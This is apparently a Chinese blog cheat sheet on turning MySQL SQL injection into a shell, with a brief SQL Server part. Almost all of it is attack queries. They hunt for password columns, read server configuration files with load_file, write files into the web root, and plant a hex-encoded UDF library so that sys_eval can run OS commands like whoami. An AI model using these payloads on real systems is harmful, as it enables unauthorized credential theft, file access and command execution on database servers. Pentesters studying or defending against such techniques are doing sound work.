安全渗透测试--sql注入之sql-shell

mysql

找到含有password字段的表

select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%'	

找到含有特定字符串的表名

select table_name from information_schema.tables where table_schema='库名' and table_name like '%use%';  

获取当前的连接 等同show processlist

select host from information_schema.processlist

读写文件

# 高版本只允许操作secure_file_priv变量指定目录下的文件
select @@secure_file_priv

# 写文件  
# into dumpfile用于二进制文件,
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so'; 
# into outfile 主要的目的是导出 文本文件
select '123' into outfile  /var/www/1.html

#读文件
select load_file('/etc/httpd/conf/httpd.conf')

# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分
substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20)

udf 相关

#找到现有的自定义函数
select * from mysql.func;

#  MySQL 5.0.67 开始udf需要在指定路径下
select @@plugin_dir

#导入udf库文件
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

#创建自定义函数
create function sys_eval returns string soname 'mysqludf.so';

# 执行自定义函数
select sys_eval('whoami');

sql server

找到含有password字段的表

select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%passw%'
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值